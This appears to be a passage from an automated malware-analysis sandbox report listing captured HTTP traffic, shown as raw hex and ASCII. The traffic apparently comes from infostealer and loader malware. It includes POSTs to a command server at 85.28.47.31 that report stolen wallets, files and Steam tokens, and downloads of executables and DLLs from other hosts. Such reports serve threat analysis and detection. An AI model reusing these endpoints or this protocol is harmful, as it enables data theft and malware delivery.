46 48 4a 4b 2d 2d 0d 0a Data Ascii: ------CGIEGHJEGHJKFIEBFHJKContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------CGIEGHJEGHJKFIEBFHJKContent-Disposition: form-data; name="message"plugins------CGIEGHJEGHJKFIEBFHJK--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHIHost: 85.28.47.31Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 2d 2d 0d 0a Data Ascii: ------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="message"fplugins------KEHDBAEGIIIEBGCAAFHI--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBAHost: 85.28.47.31Content-Length: 7587Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/sqlite3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDAHost: 85.28.47.31Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIECBAFBFHIJKFIJDAKHost: 85.28.47.31Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGIDGCAFCBKECAAKJJKHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 49 44 47 43 41 46 43 42 4b 45 43 41 41 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="file"------EBGIDGCAFCBKECAAKJJK--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBFIIIEHCFHJKFHDHDAHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 2d 2d 0d 0a Data Ascii: ------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="file"------JEBFIIIEHCFHJKFHDHDA--
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/freebl3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/mozglue.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/msvcp140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/nss3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/softokn3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/vcruntime140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGCGHIDHCBFHIDGHCBKHost: 85.28.47.31Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCBFHJECAKEHIECGIEBHost: 85.28.47.31Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 2d 2d 0d 0a Data Ascii: ------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="message"wallets------CFCBFHJECAKEHIECGIEB--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKKEHJDHJKFIECAAKFIHost: 85.28.47.31Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 2d 2d 0d 0a Data Ascii: ------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------IJKKEHJDHJKFIECAAKFIContent-Disposition: form-data; name="message"ybncbhylepme------IJKKEHJDHJKFIECAAKFI--
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /cost/go.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHCBAFBFHIIECBKFCGHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 2d 2d 0d 0a Data Ascii: ------JEGHCBAFBFHIIECBKFCGContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------JEGHCBAFBFHIIECBKFCGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEGHCBAFBFHIIECBKFCGContent-Disposition: form-data; name="file"------JEGHCBAFBFHIIECBKFCG--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHIHost: 85.28.47.31Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 2d 2d 0d 0a Data Ascii: ------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="message"files------KKJKFBKKECFHJKEBKEHI--
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAAEBFHJJDAAKFIECGDHost: 85.28.47.31Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 32 64 31 32 32 33 66 66 34 34 33 31 63 64 64 63 38 33 30 63 34 35 33 36 38 66 39 65 64 31 39 66 62 66 61 61 66 64 39 32 63 62 37 35 36 37 66 32 37 62 38 63 62 62 30 33 34 38 30 62 32 33 62 66 61 38 38 37 63 39 32 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 2d 2d 0d 0a Data Ascii: ------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="token"52d1223ff4431cddc830c45368f9ed19fbfaafd92cb7567f27b8cbb03480b23bfa887c92------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FCAAEBFHJJDAAKFIECGD--
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /selectex-file-host/OneDrive.exe HTTP/1.1Host: 185.196.10.57
Source: global traffic	HTTP traffic detected: GET /cost/num.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 31 39 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000019031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 32 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000021001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKFHCFIECAAAKEGCFIHost: 85.28.47.31Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 45 45 30 33 45 36 32 37 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 49 2d 2d 0d 0a Data Ascii: ------AAKKFHCFIECAAAKEGCFIContent-Disposition: form-data; name="hwid"C5EE03E62791922063497------AAKKFHCFIECAAAKEGCFIContent-Disposition: form-data; name="build"sila------AAKKFHCFIECAAAKEGCFI--
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
